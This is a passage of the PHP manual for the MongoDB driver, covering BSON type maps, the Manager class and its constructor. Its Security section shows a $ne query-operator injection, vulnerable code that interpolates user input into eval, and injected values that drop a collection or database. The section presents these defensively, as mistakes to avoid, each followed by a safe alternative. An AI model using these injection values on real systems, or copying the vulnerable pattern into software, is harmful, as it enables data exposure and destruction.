    If the named class implements the MongoDB\BSON\Persistable interface, then the properties of the BSON document, including the __pclass property, are sent as an associative array to the MongoDB\BSON\Unserializable::bsonUnserialize() function to initialise the object's properties.

    If the named class does not exist or does not implement the MongoDB\BSON\Persistable interface, stdClass will be used and each BSON document key (including __pclass) will be set as a public stdClass property.

    The __pclass functionality relies on the property being part of a retrieved MongoDB document. If you use a projection when querying for documents, you need to include the __pclass field in the projection for this functionality to work.

"array"

Turns a BSON array or BSON document into a PHP array. There will be no special treatment of a __pclass property [1], but it may be set as an element in the returned array if it was present in the BSON document.

"object" or "stdClass"

Turns a BSON array or BSON document into a stdClass object. There will be no special treatment of a __pclass property [1], but it may be set as a public property in the returned object if it was present in the BSON document.

"bson"

Turns a BSON array into a MongoDB\BSON\PackedArray and a BSON document into a MongoDB\BSON\Document, regardless of whether the BSON document has a __pclass property [1].

Note: The bson value is only available for the three root types, not in the field specific mappings.

any other string

Defines the class name that the BSON array or BSON object should be deserialized as. For BSON objects that include __pclass properties, that class will take priority.

If the named class does not exist, is not concrete (i.e. it is abstract or an interface), or does not implement MongoDB\BSON\Unserializable then an MongoDB\Driver\Exception\InvalidArgumentException exception is thrown.

If the BSON object has a __pclass property and that class exists and implements MongoDB\BSON\Persistable it will supersede the class provided in the type map.

The properties of the BSON document, including the __pclass property if it exists, will be sent as an associative array to the MongoDB\BSON\Unserializable::bsonUnserialize() function to initialise the object's properties.

TypeMaps

TypeMaps can be set through the MongoDB\Driver\Cursor::setTypeMap() method on a MongoDB\Driver\Cursor object, or the $typeMap argument of MongoDB\BSON\toPHP(), MongoDB\BSON\Document::toPHP(), and MongoDB\BSON\PackedArray::toPHP(). Each of the three classes (root, document, and array) can be individually set, in addition to the field specific types.

If the value in the map is NULL, it means the same as the default value for that item.

Examples

These examples use the following classes:

MyClass

which does not implement any interface

YourClass

which implements MongoDB\BSON\Unserializable

OurClass

which implements MongoDB\BSON\Persistable

TheirClass

which extends OurClass

The MongoDB\BSON\Unserializable::bsonUnserialize() method of YourClass, OurClass, TheirClass iterate over the array and set the properties without modifications. It also sets the $unserialized property to true:

<?php

function bsonUnserialize( array $map )
{
foreach ( $map as $k => $value )
{
$this->$k = $value;
}
$this->unserialized = true;
}

/* typemap: [] (all defaults) */
{ "foo": "yes", "bar" : false }
  -> stdClass { $foo => 'yes', $bar => false }

{ "foo": "no", "array" : [ 5, 6 ] }
  -> stdClass { $foo => 'no', $array => [ 5, 6 ] }

{ "foo": "no", "obj" : { "embedded" : 3.14 } }
  -> stdClass { $foo => 'no', $obj => stdClass { $embedded => 3.14 } }

{ "foo": "yes", "__pclass": "MyClass" }
  -> stdClass { $foo => 'yes', $__pclass => 'MyClass' }

{ "foo": "yes", "__pclass": { "$type" : "80", "$binary" : "MyClass" } }
  -> stdClass { $foo => 'yes', $__pclass => Binary(0x80, 'MyClass') }

{ "foo": "yes", "__pclass": { "$type" : "80", "$binary" : "YourClass") }
  -> stdClass { $foo => 'yes', $__pclass => Binary(0x80, 'YourClass') }

{ "foo": "yes", "__pclass": { "$type" : "80", "$binary" : "OurClass") }
  -> OurClass { $foo => 'yes', $__pclass => Binary(0x80, 'OurClass'), $unserialized => true }

{ "foo": "yes", "__pclass": { "$type" : "44", "$binary" : "YourClass") }
  -> stdClass { $foo => 'yes', $__pclass => Binary(0x44, 'YourClass') }

/* typemap: [ "root" => "MissingClass" ] */
{ "foo": "yes" }
  -> MongoDB\Driver\Exception\InvalidArgumentException("MissingClass does not exist")

/* typemap: [ "root" => "MyClass" ] */
{ "foo": "yes", "__pclass" : { "$type": "80", "$binary": "MyClass" } }
  -> MongoDB\Driver\Exception\InvalidArgumentException("MyClass does not implement Unserializable interface")

/* typemap: [ "root" => "MongoDB\BSON\Unserializable" ] */
{ "foo": "yes" }
  -> MongoDB\Driver\Exception\InvalidArgumentException("Unserializable is not a concrete class")

/* typemap: [ "root" => "YourClass" ] */
{ "foo": "yes", "__pclass" : { "$type": "80", "$binary": "MongoDB\BSON\Unserializable" } }
  -> YourClass { $foo => "yes", $__pclass => Binary(0x80, "MongoDB\BSON\Unserializable"), $unserialized => true }

/* typemap: [ "root" => "YourClass" ] */
{ "foo": "yes", "__pclass" : { "$type": "80", "$binary": "MyClass" } }
  -> YourClass { $foo => "yes", $__pclass => Binary(0x80, "MyClass"), $unserialized => true }

/* typemap: [ "root" => "YourClass" ] */
{ "foo": "yes", "__pclass" : { "$type": "80", "$binary": "OurClass" } }
  -> OurClass { $foo => "yes", $__pclass => Binary(0x80, "OurClass"), $unserialized => true }

/* typemap: [ "root" => "YourClass" ] */
{ "foo": "yes", "__pclass" : { "$type": "80", "$binary": "TheirClass" } }
  -> TheirClass { $foo => "yes", $__pclass => Binary(0x80, "TheirClass"), $unserialized => true }

/* typemap: [ "root" => "OurClass" ] */
{ foo: "yes", "__pclass" : { "$type": "80", "$binary": "TheirClass" } }
  -> TheirClass { $foo => "yes", $__pclass => Binary(0x80, "TheirClass"), $unserialized => true }

/* typemap: [ 'root' => 'YourClass' ] */
{ foo: "yes", "__pclass" : { "$type": "80", "$binary": "YourClass" } }
  -> YourClass { $foo => 'yes', $__pclass => Binary(0x80, 'YourClass'), $unserialized => true }

/* typemap: [ 'root' => 'array', 'document' => 'array' ] */
{ "foo": "yes", "bar" : false }
  -> [ "foo" => "yes", "bar" => false ]

{ "foo": "no", "array" : [ 5, 6 ] }
  -> [ "foo" => "no", "array" => [ 5, 6 ] ]

{ "foo": "no", "obj" : { "embedded" : 3.14 } }
  -> [ "foo" => "no", "obj" => [ "embedded => 3.14 ] ]

{ "foo": "yes", "__pclass": "MyClass" }
  -> [ "foo" => "yes", "__pclass" => "MyClass" ]

{ "foo": "yes", "__pclass" : { "$type": "80", "$binary": "MyClass" } }
  -> [ "foo" => "yes", "__pclass" => Binary(0x80, "MyClass") ]

{ "foo": "yes", "__pclass" : { "$type": "80", "$binary": "OurClass" } }
  -> [ "foo" => "yes", "__pclass" => Binary(0x80, "OurClass") ]

/* typemap: [ 'root' => 'object', 'document' => 'object' ] */
{ "foo": "yes", "__pclass": { "$type": "80", "$binary": "MyClass" } }
  -> stdClass { $foo => "yes", "__pclass" => Binary(0x80, "MyClass") }

User Contributed Notes

hello at stefandjokic dot com 08-Jun-2020 12:33
Minor correction to my previous comment:

Use 'fieldPaths' for specifying type of nested property.

Eg.

'typeMap' => [
                'array' => 'array',
                'fieldPaths' => [
                    'notifications.email.to' => 'array',
                    'notifications.data.params' => 'array',
                ],
            ],
hello at stefandjokic dot com 02-Jun-2020 09:12
You can also specify the type map for nested document item, e.g.

<?php
.
.
.
// everything else is by default an object
'typeMap' => [
                'customer.phones' => 'array',
            ],
Miguel 11-Nov-2017 04:10
Make sure you include the field "__pclass" to the projection if you want the ODM to automatically call the bsonUnserialize of the class.

If you don't get that field in the query, the ODM will never know which class to call, so you'll have to specify it with the "typemap" variable.


Security

  • Request Injection Attacks
  • Script Injection Attacks

User Contributed Notes

There are no user contributed notes for this page.


Request Injection Attacks

If you are passing $_GET (or $_POST) parameters to your queries, make sure that they are cast to strings first. Users can insert associative arrays in GET and POST requests, which could then become unwanted $-queries.

A fairly innocuous example: suppose you are looking up a user's information with the request http://www.example.com?username=bob. Your application creates the query $q = new \MongoDB\Driver\Query( [ 'username' => $_GET['username'] ]).

Someone could subvert this by getting http://www.example.com?username[$ne]=foo, which PHP will magically turn into an associative array, turning your query into $q = new \MongoDB\Driver\Query( [ 'username' => [ '$ne' => 'foo' ] ] ), which will return all users not named "foo" (all of your users, probably).

This is a fairly easy attack to defend against: make sure $_GET and $_POST parameters are the type you expect before you send them to the database. PHP has the filter_var() function to assist with this.

Note that this type of attack can be used with any database interaction that locates a document, including updates, upserts, deletes, and findAndModify commands.

See » the main documentation for more information about SQL-injection-like issues with MongoDB.

User Contributed Notes

There are no user contributed notes for this page.


Script Injection Attacks

If you are using JavaScript, make sure that any variables that cross the PHP- to-JavaScript boundry are passed in the scope field of MongoDB\BSON\Javascript, not interpolated into the JavaScript string. This can come up when using $where clauses in queries, mapReduce and group commands, and any other time you may pass JavaScript into the database.

For example, suppose we have some JavaScript to greet a user in the database logs. We could do:

<?php
$m = new MongoDB\Driver\Manager;

// Don't do this!!!
$username = $_GET['field'];

$cmd = new \MongoDB\Driver\Command( [
'eval' => "print('Hello, $username!');"
] );

$r = $m->executeCommand( 'dramio', $cmd );
?>

However, what if a malicious user passes in some JavaScript?

<?php
$m = new MongoDB\Driver\Manager;

// Don't do this!!!
$username = $_GET['field'];
// $username is set to "'); db.users.drop(); print('"

$cmd = new \MongoDB\Driver\Command( [
'eval' => "print('Hello, $username!');"
] );

$r = $m->executeCommand( 'dramio', $cmd );
?>

Now MongoDB executes the JavaScript string "print('Hello, '); db.users.drop(); print('!');". This attack is easy to avoid: use args to pass variables from PHP to JavaScript:

<?php
$m = new MongoDB\Driver\Manager;

$_GET['field'] = 'derick';
$args = [ $_GET['field'] ];

$cmd = new \MongoDB\Driver\Command( [
'eval' => "function greet(username) { print('Hello, ' + username + '!'); }",
'args' => $args,
] );

$r = $m->executeCommand( 'dramio', $cmd );
?>

This adds an argument to the JavaScript scope, which gets used as argument for the greet function. Now if someone tries to send malicious code, MongoDB will harmlessly print Hello, '); db.dropDatabase(); print('!.

Using arguments helps to prevent malicious input from being executed by the database. However, you must make sure that your code does not turn around and execute the input anyway! It is best to avoid executing any JavaScript on the server in the first place.

You are strongly recommended to stay clear of the » $where clause with queries, as it impacts performance significantly. Where possible, use either normal query operators, or the » Aggregation Framework.

As alternative to » MapReduce, which uses JavaScript, consider using the » Aggregation Framework. Unlike Map/Reduce, it uses an idiomatic language to construct queries, without having to write, and use, the slower JavaScript approach that Map/Reduce requires.

The » eval command has been deprecated since MongoDB 3.0, and should also be avoided.

User Contributed Notes

Robin 17-Oct-2016 09:47
Shouldn't the second example have this

$_GET['field'] = "'); db.users.drop(); print('";

Before it sets $username?


MongoDB 驱动类

  • MongoDB\Driver\Manager — The MongoDB\Driver\Manager class
    • MongoDB\Driver\Manager::addSubscriber — Registers a monitoring event subscriber with this Manager
    • MongoDB\Driver\Manager::__construct — Create new MongoDB Manager
    • MongoDB\Driver\Manager::createClientEncryption — Create a new ClientEncryption object
    • MongoDB\Driver\Manager::executeBulkWrite — Execute one or more write operations
    • MongoDB\Driver\Manager::executeCommand — Execute a database command
    • MongoDB\Driver\Manager::executeQuery — Execute a database query
    • MongoDB\Driver\Manager::executeReadCommand — Execute a database command that reads
    • MongoDB\Driver\Manager::executeReadWriteCommand — Execute a database command that reads and writes
    • MongoDB\Driver\Manager::executeWriteCommand — Execute a database command that writes
    • MongoDB\Driver\Manager::getEncryptedFieldsMap — Return the encryptedFieldsMap auto encryption option for the Manager
    • MongoDB\Driver\Manager::getReadConcern — Return the ReadConcern for the Manager
    • MongoDB\Driver\Manager::getReadPreference — Return the ReadPreference for the Manager
    • MongoDB\Driver\Manager::getServers — Return the servers to which this manager is connected
    • MongoDB\Driver\Manager::getWriteConcern — Return the WriteConcern for the Manager
    • MongoDB\Driver\Manager::removeSubscriber — Unregisters a monitoring event subscriber with this Manager
    • MongoDB\Driver\Manager::selectServer — Select a server matching a read preference
    • MongoDB\Driver\Manager::startSession — Start a new client session for use with this client
  • MongoDB\Driver\Command — The MongoDB\Driver\Command class
    • MongoDB\Driver\Command::__construct — Create a new Command
  • MongoDB\Driver\Query — The MongoDB\Driver\Query class
    • MongoDB\Driver\Query::__construct — Create a new Query
  • MongoDB\Driver\BulkWrite — The MongoDB\Driver\BulkWrite class
    • MongoDB\Driver\BulkWrite::__construct — Create a new BulkWrite
    • MongoDB\Driver\BulkWrite::count — Count number of write operations in the bulk
    • MongoDB\Driver\BulkWrite::delete — Add a delete operation to the bulk
    • MongoDB\Driver\BulkWrite::insert — Add an insert operation to the bulk
    • MongoDB\Driver\BulkWrite::update — Add an update operation to the bulk
  • MongoDB\Driver\Session — The MongoDB\Driver\Session class
    • MongoDB\Driver\Session::abortTransaction — Aborts a transaction
    • MongoDB\Driver\Session::advanceClusterTime — Advances the cluster time for this session
    • MongoDB\Driver\Session::advanceOperationTime — Advances the operation time for this session
    • MongoDB\Driver\Session::commitTransaction — Commits a transaction
    • MongoDB\Driver\Session::__construct — Create a new Session (not used)
    • MongoDB\Driver\Session::endSession — Terminates a session
    • MongoDB\Driver\Session::getClusterTime — Returns the cluster time for this session
    • MongoDB\Driver\Session::getLogicalSessionId — Returns the logical session ID for this session
    • MongoDB\Driver\Session::getOperationTime — Returns the operation time for this session
    • MongoDB\Driver\Session::getServer — Returns the server to which this session is pinned
    • MongoDB\Driver\Session::getTransactionOptions — Returns options for the currently running transaction
    • MongoDB\Driver\Session::getTransactionState — Returns the current transaction state for this session
    • MongoDB\Driver\Session::isDirty — Returns whether the session has been marked as dirty
    • MongoDB\Driver\Session::isInTransaction — Returns whether a multi-document transaction is in progress
    • MongoDB\Driver\Session::startTransaction — Starts a transaction
  • MongoDB\Driver\ClientEncryption — The MongoDB\Driver\ClientEncryption class
    • MongoDB\Driver\ClientEncryption::addKeyAltName — Adds an alternate name to a key document
    • MongoDB\Driver\ClientEncryption::__construct — Create a new ClientEncryption object
    • MongoDB\Driver\ClientEncryption::createDataKey — Creates a key document
    • MongoDB\Driver\ClientEncryption::decrypt — Decrypt a value
    • MongoDB\Driver\ClientEncryption::deleteKey — Deletes a key document
    • MongoDB\Driver\ClientEncryption::encrypt — Encrypt a value
    • MongoDB\Driver\ClientEncryption::encryptExpression — Encrypts a match or aggregate expression
    • MongoDB\Driver\ClientEncryption::getKey — Gets a key document
    • MongoDB\Driver\ClientEncryption::getKeyByAltName — Gets a key document by an alternate name
    • MongoDB\Driver\ClientEncryption::getKeys — Gets all key documents
    • MongoDB\Driver\ClientEncryption::removeKeyAltName — Removes an alternate name from a key document
    • MongoDB\Driver\ClientEncryption::rewrapManyDataKey — Rewraps data keys
  • MongoDB\Driver\ServerApi — The MongoDB\Driver\ServerApi class
    • MongoDB\Driver\ServerApi::bsonSerialize — Returns an object for BSON serialization
    • MongoDB\Driver\ServerApi::__construct — Create a new ServerApi instance
    • MongoDB\Driver\ServerApi::serialize — Serialize a ServerApi
    • MongoDB\Driver\ServerApi::unserialize — Unserialize a ServerApi
  • MongoDB\Driver\WriteConcern — The MongoDB\Driver\WriteConcern class
    • MongoDB\Driver\WriteConcern::bsonSerialize — Returns an object for BSON serialization
    • MongoDB\Driver\WriteConcern::__construct — Create a new WriteConcern
    • MongoDB\Driver\WriteConcern::getJournal — Returns the WriteConcern's "journal" option
    • MongoDB\Driver\WriteConcern::getW — Returns the WriteConcern's "w" option
    • MongoDB\Driver\WriteConcern::getWtimeout — Returns the WriteConcern's "wtimeout" option
    • MongoDB\Driver\WriteConcern::isDefault — Checks if this is the default write concern
    • MongoDB\Driver\WriteConcern::serialize — Serialize a WriteConcern
    • MongoDB\Driver\WriteConcern::unserialize — Unserialize a WriteConcern
  • MongoDB\Driver\ReadPreference — The MongoDB\Driver\ReadPreference class
    • MongoDB\Driver\ReadPreference::bsonSerialize — Returns an object for BSON serialization
    • MongoDB\Driver\ReadPreference::__construct — Create a new ReadPreference
    • MongoDB\Driver\ReadPreference::getHedge — Returns the ReadPreference's "hedge" option
    • MongoDB\Driver\ReadPreference::getMaxStalenessSeconds — Returns the ReadPreference's "maxStalenessSeconds" option
    • MongoDB\Driver\ReadPreference::getMode — Returns the ReadPreference's "mode" option
    • MongoDB\Driver\ReadPreference::getModeString — Returns the ReadPreference's "mode" option as a string
    • MongoDB\Driver\ReadPreference::getTagSets — Returns the ReadPreference's "tagSets" option
    • MongoDB\Driver\ReadPreference::serialize — Serialize a ReadPreference
    • MongoDB\Driver\ReadPreference::unserialize — Unserialize a ReadPreference
  • MongoDB\Driver\ReadConcern — The MongoDB\Driver\ReadConcern class
    • MongoDB\Driver\ReadConcern::bsonSerialize — Returns an object for BSON serialization
    • MongoDB\Driver\ReadConcern::__construct — Create a new ReadConcern
    • MongoDB\Driver\ReadConcern::getLevel — Returns the ReadConcern's "level" option
    • MongoDB\Driver\ReadConcern::isDefault — Checks if this is the default read concern
    • MongoDB\Driver\ReadConcern::serialize — Serialize a ReadConcern
    • MongoDB\Driver\ReadConcern::unserialize — Unserialize a ReadConcern
  • MongoDB\Driver\Cursor — The MongoDB\Driver\Cursor class
    • MongoDB\Driver\Cursor::__construct — Create a new Cursor (not used)
    • MongoDB\Driver\Cursor::current — Returns the current element
    • MongoDB\Driver\Cursor::getId — Returns the ID for this cursor
    • MongoDB\Driver\Cursor::getServer — Returns the server associated with this cursor
    • MongoDB\Driver\Cursor::isDead — Checks if the cursor is exhausted or may have additional results
    • MongoDB\Driver\Cursor::key — Returns the current result's index within the cursor
    • MongoDB\Driver\Cursor::next — Advances the cursor to the next result
    • MongoDB\Driver\Cursor::rewind — Rewind the cursor to the first result
    • MongoDB\Driver\Cursor::setTypeMap — Sets a type map to use for BSON unserialization
    • MongoDB\Driver\Cursor::toArray — Returns an array containing all results for this cursor
    • MongoDB\Driver\Cursor::valid — Checks if the current position in the cursor is valid
  • MongoDB\Driver\CursorId — The MongoDB\Driver\CursorId class
    • MongoDB\Driver\CursorId::__construct — Create a new CursorId (not used)
    • MongoDB\Driver\CursorId::serialize — Serialize a CursorId
    • MongoDB\Driver\CursorId::__toString — String representation of the cursor ID
    • MongoDB\Driver\CursorId::unserialize — Unserialize a CursorId
  • MongoDB\Driver\CursorInterface — The MongoDB\Driver\CursorInterface interface
    • MongoDB\Driver\CursorInterface::getId — Returns the ID for this cursor
    • MongoDB\Driver\CursorInterface::getServer — Returns the server associated with this cursor
    • MongoDB\Driver\CursorInterface::isDead — Checks if the cursor may have additional results
    • MongoDB\Driver\CursorInterface::setTypeMap — Sets a type map to use for BSON unserialization
    • MongoDB\Driver\CursorInterface::toArray — Returns an array containing all results for this cursor
  • MongoDB\Driver\Server — The MongoDB\Driver\Server class
    • MongoDB\Driver\Server::__construct — Create a new Server (not used)
    • MongoDB\Driver\Server::executeBulkWrite — Execute one or more write operations on this server
    • MongoDB\Driver\Server::executeCommand — Execute a database command on this server
    • MongoDB\Driver\Server::executeQuery — Execute a database query on this server
    • MongoDB\Driver\Server::executeReadCommand — Execute a database command that reads on this server
    • MongoDB\Driver\Server::executeReadWriteCommand — Execute a database command that reads and writes on this server
    • MongoDB\Driver\Server::executeWriteCommand — Execute a database command that writes on this server
    • MongoDB\Driver\Server::getHost — Returns the hostname of this server
    • MongoDB\Driver\Server::getInfo — Returns an array of information describing this server
    • MongoDB\Driver\Server::getLatency — Returns the latency of this server in milliseconds
    • MongoDB\Driver\Server::getPort — Returns the port on which this server is listening
    • MongoDB\Driver\Server::getServerDescription — Returns a ServerDescription for this server
    • MongoDB\Driver\Server::getTags — Returns an array of tags describing this server in a replica set
    • MongoDB\Driver\Server::getType — Returns an integer denoting the type of this server
    • MongoDB\Driver\Server::isArbiter — Checks if this server is an arbiter member of a replica set
    • MongoDB\Driver\Server::isHidden — Checks if this server is a hidden member of a replica set
    • MongoDB\Driver\Server::isPassive — Checks if this server is a passive member of a replica set
    • MongoDB\Driver\Server::isPrimary — Checks if this server is a primary member of a replica set
    • MongoDB\Driver\Server::isSecondary — Checks if this server is a secondary member of a replica set
  • MongoDB\Driver\ServerDescription — The MongoDB\Driver\ServerDescription class
    • MongoDB\Driver\ServerDescription::getHelloResponse — Returns the server's most recent "hello" response
    • MongoDB\Driver\ServerDescription::getHost — Returns the hostname of this server
    • MongoDB\Driver\ServerDescription::getLastUpdateTime — Returns the server's last update time in microseconds
    • MongoDB\Driver\ServerDescription::getPort — Returns the port on which this server is listening
    • MongoDB\Driver\ServerDescription::getRoundTripTime — Returns the server's round trip time in milliseconds
    • MongoDB\Driver\ServerDescription::getType — Returns a string denoting the type of this server
  • MongoDB\Driver\TopologyDescription — The MongoDB\Driver\TopologyDescription class
    • MongoDB\Driver\TopologyDescription::getServers — Returns the servers in the topology
    • MongoDB\Driver\TopologyDescription::getType — Returns a string denoting the type of this topology
    • MongoDB\Driver\TopologyDescription::hasReadableServer — Returns whether the topology has a readable server
    • MongoDB\Driver\TopologyDescription::hasWritableServer — Returns whether the topology has a writable server
  • MongoDB\Driver\WriteConcernError — The MongoDB\Driver\WriteConcernError class
    • MongoDB\Driver\WriteConcernError::getCode — Returns the WriteConcernError's error code
    • MongoDB\Driver\WriteConcernError::getInfo — Returns metadata document for the WriteConcernError
    • MongoDB\Driver\WriteConcernError::getMessage — Returns the WriteConcernError's error message
  • MongoDB\Driver\WriteError — The MongoDB\Driver\WriteError class
    • MongoDB\Driver\WriteError::getCode — Returns the WriteError's error code
    • MongoDB\Driver\WriteError::getIndex — Returns the index of the write operation corresponding to this WriteError
    • MongoDB\Driver\WriteError::getInfo — Returns metadata document for the WriteError
    • MongoDB\Driver\WriteError::getMessage — Returns the WriteError's error message
  • MongoDB\Driver\WriteResult — The MongoDB\Driver\WriteResult class
    • MongoDB\Driver\WriteResult::getDeletedCount — Returns the number of documents deleted
    • MongoDB\Driver\WriteResult::getInsertedCount — Returns the number of documents inserted (excluding upserts)
    • MongoDB\Driver\WriteResult::getMatchedCount — Returns the number of documents selected for update
    • MongoDB\Driver\WriteResult::getModifiedCount — Returns the number of existing documents updated
    • MongoDB\Driver\WriteResult::getServer — Returns the server associated with this write result
    • MongoDB\Driver\WriteResult::getUpsertedCount — Returns the number of documents inserted by an upsert
    • MongoDB\Driver\WriteResult::getUpsertedIds — Returns an array of identifiers for upserted documents
    • MongoDB\Driver\WriteResult::getWriteConcernError — Returns any write concern error that occurred
    • MongoDB\Driver\WriteResult::getWriteErrors — Returns any write errors that occurred
    • MongoDB\Driver\WriteResult::isAcknowledged — Returns whether the write was acknowledged

User Contributed Notes

mike at eastghost dot com 20-Jun-2019 03:52
The 'high level' driver is here

https://docs.mongodb.com/php-library/current/reference/


The MongoDB\Driver\Manager class

(mongodb >=1.0.0)

简介

The MongoDB\Driver\Manager is the main entry point to the extension. It is responsible for maintaining connections to MongoDB (be it standalone server, replica set, or sharded cluster).

No connection to MongoDB is made upon instantiating the Manager. This means the MongoDB\Driver\Manager can always be constructed, even though one or more MongoDB servers are down.

Any write or query can throw connection exceptions as connections are created lazily. A MongoDB server may also become unavailable during the life time of the script. It is therefore important that all actions on the Manager to be wrapped in try/catch statements.

类摘要

final class MongoDB\Driver\Manager {
/* 方法 */
final public addSubscriber(MongoDB\Driver\Monitoring\Subscriber $subscriber): void
final public __construct(?string $uri = null, ?array $uriOptions = null, ?array $driverOptions = null)
final public createClientEncryption(array $options): MongoDB\Driver\ClientEncryption
final public executeBulkWrite(string $namespace, MongoDB\Driver\BulkWrite $bulk, array|MongoDB\Driver\WriteConcern|null $options = null): MongoDB\Driver\WriteResult
final public executeCommand(string $db, MongoDB\Driver\Command $command, array|MongoDB\Driver\ReadPreference|null $options = null): MongoDB\Driver\Cursor
final public executeQuery(string $namespace, MongoDB\Driver\Query $query, array|MongoDB\Driver\ReadPreference|null $options = null): MongoDB\Driver\Cursor
final public executeReadCommand(string $db, MongoDB\Driver\Command $command, ?array $options = null): MongoDB\Driver\Cursor
final public executeReadWriteCommand(string $db, MongoDB\Driver\Command $command, ?array $options = null): MongoDB\Driver\Cursor
final public executeWriteCommand(string $db, MongoDB\Driver\Command $command, ?array $options = null): MongoDB\Driver\Cursor
final public getEncryptedFieldsMap(): array|object|null
final public getReadConcern(): MongoDB\Driver\ReadConcern
final public getReadPreference(): MongoDB\Driver\ReadPreference
final public getServers(): array
final public getWriteConcern(): MongoDB\Driver\WriteConcern
final public removeSubscriber(MongoDB\Driver\Monitoring\Subscriber $subscriber): void
final public selectServer(?MongoDB\Driver\ReadPreference $readPreference = null): MongoDB\Driver\Server
final public startSession(?array $options = null): MongoDB\Driver\Session
}

示例

Example #1 MongoDB\Driver\Manager::__construct() basic example

var_dump()ing a MongoDB\Driver\Manager will print out various details about the manager that are otherwise not normally exposed. This can be useful to debug how the driver views your MongoDB setup, and which options are used.

<?php

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017');
var_dump($manager);

?>

以上示例的输出类似于：

object(MongoDB\Driver\Manager)#1 (2) {
  ["uri"]=>
  string(26) "mongodb://127.0.0.1:27017/"
  ["cluster"]=>
  array(0) {
  }
}

Table of Contents

  • MongoDB\Driver\Manager::addSubscriber — Registers a monitoring event subscriber with this Manager
  • MongoDB\Driver\Manager::__construct — Create new MongoDB Manager
  • MongoDB\Driver\Manager::createClientEncryption — Create a new ClientEncryption object
  • MongoDB\Driver\Manager::executeBulkWrite — Execute one or more write operations
  • MongoDB\Driver\Manager::executeCommand — Execute a database command
  • MongoDB\Driver\Manager::executeQuery — Execute a database query
  • MongoDB\Driver\Manager::executeReadCommand — Execute a database command that reads
  • MongoDB\Driver\Manager::executeReadWriteCommand — Execute a database command that reads and writes
  • MongoDB\Driver\Manager::executeWriteCommand — Execute a database command that writes
  • MongoDB\Driver\Manager::getEncryptedFieldsMap — Return the encryptedFieldsMap auto encryption option for the Manager
  • MongoDB\Driver\Manager::getReadConcern — Return the ReadConcern for the Manager
  • MongoDB\Driver\Manager::getReadPreference — Return the ReadPreference for the Manager
  • MongoDB\Driver\Manager::getServers — Return the servers to which this manager is connected
  • MongoDB\Driver\Manager::getWriteConcern — Return the WriteConcern for the Manager
  • MongoDB\Driver\Manager::removeSubscriber — Unregisters a monitoring event subscriber with this Manager
  • MongoDB\Driver\Manager::selectServer — Select a server matching a read preference
  • MongoDB\Driver\Manager::startSession — Start a new client session for use with this client

User Contributed Notes

gbormann dot nospam at telenet dot be 21-Sep-2019 06:05
Re mocking implications of final nature of MongoDB\Driver\Manager :
Final classes can be mocked through an indirection using a wrapper class.
mike at eastghost dot com 21-Aug-2018 11:37
According to Mongo, this (i.e., MongoDB\Driver\Manager) is an "entry point" for the extension:

"This class serves as an entry point for the MongoDB PHP Library. It is the preferred class for connecting to a MongoDB server or cluster of servers and acts as a gateway for accessing individual databases and collections. MongoDB\Client is analogous to the driver's MongoDB\Driver\Manager class, which it composes."

copied from here: https://docs.mongodb.com/php-library/master/reference/class/MongoDBClient/

However, any comparison of the "mongodb" docs here on php.net versus the "mongodb driver" docs on mongo's site shows dramatic and ever-changing differences.
Zalmoksis 14-Jun-2018 09:32
It's worth noting that Manager is final, so you cannot mock it easily with tools like PhpUnit.


Registers a monitoring event subscriber with this Manager

  • ? MongoDB\Driver\Manager
  • MongoDB\Driver\Manager::__construct ?
  • PHP Manual
  • MongoDB\Driver\Manager
  • Registers a monitoring event subscriber with this Manager

MongoDB\Driver\Manager::addSubscriber

(mongodb >=1.10.0)

MongoDB\Driver\Manager::addSubscriber — Registers a monitoring event subscriber with this Manager

说明

final public MongoDB\Driver\Manager::addSubscriber(MongoDB\Driver\Monitoring\Subscriber $subscriber): void

Registers a monitoring event subscriber with this Manager. The subscriber will be notified of all events for this Manager.

Note: If subscriber is already registered with this Manager, this function is a no-op. If subscriber is also registered globally, it will still only be notified once of each event for this Manager.

参数

subscriber (MongoDB\Driver\Monitoring\Subscriber)

A monitoring event subscriber to register with this Manager.

返回值

没有返回值。

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if subscriber is a MongoDB\Driver\Monitoring\LogSubscriber, since loggers can only be registered globally.

参见

  • MongoDB\Driver\Manager::removeSubscriber() - Unregisters a monitoring event subscriber with this Manager
  • MongoDB\Driver\Monitoring\Subscriber
  • MongoDB\Driver\Monitoring\CommandSubscriber
  • MongoDB\Driver\Monitoring\addSubscriber() - Registers a monitoring event subscriber globally
  • Application Performance Monitoring (APM)

User Contributed Notes

There are no user contributed notes for this page.


Create new MongoDB Manager

  • ? MongoDB\Driver\Manager::addSubscriber
  • MongoDB\Driver\Manager::createClientEncryption ?
  • PHP Manual
  • MongoDB\Driver\Manager
  • Create new MongoDB Manager

MongoDB\Driver\Manager::__construct

(mongodb >=1.0.0)

MongoDB\Driver\Manager::__construct — Create new MongoDB Manager

说明

final public MongoDB\Driver\Manager::__construct(?string $uri = null, ?array $uriOptions = null, ?array $driverOptions = null)

Constructs a new MongoDB\Driver\Manager object with the specified options.

Note: Per the » Server Discovery and Monitoring Specification, this constructor performs no I/O. Connections will be initialized on demand, when the first operation is executed.

Note: When specifying any SSL or TLS URI options via the connection string or uriOptions parameter, the driver will implicitly enable TLS for its connections. To avoid this, either explicitly disable the tls option or don't specify any TLS options.

Note: On Unix platforms, the MongoDB driver is sensitive to scripts that use the fork() system call without also calling exec(). Users are advised not to re-use MongoDB\Driver\Manager instances in a forked child process.

参数

uri

A » mongodb:// connection URI:

mongodb://[username:password@]host1[:port1][,host2[:port2],...[,hostN[:portN]]][/[defaultAuthDb][?options]]

For details on supported URI options, see » Connection String Options in the MongoDB manual. » Connection pool options are not supported, as the PHP driver does not implement connection pools.

The uri is a URL, hence any special characters in its components need to be URL encoded according to » RFC 3986. This is particularly relevant to the username and password, which can often include special characters such as @, :, or %. When connecting via a Unix domain socket, the socket path may contain special characters such as slashes and must be encoded. The rawurlencode() function may be used to encode constituent parts of the URI.

The defaultAuthDb component may be used to specify the database name associated with the user's credentials; however the authSource URI option will take priority if specified. If neither defaultAuthDb nor authSource are specified, the admin database will be used by default. The defaultAuthDb component has no effect in the absence of user credentials.

uriOptions

Additional » connection string options, which will overwrite any options with the same name in the uri parameter.

uriOptions
Option | Type | Description
appname string

MongoDB 3.4+ has the ability to annotate connections with metadata provided by the connecting client. This metadata is included in the server's logs upon establishing a connection and also recorded in slow query logs when database profiling is enabled.

This option may be used to specify an application name, which will be included in the metadata. The value cannot exceed 128 characters in length.

authMechanism string

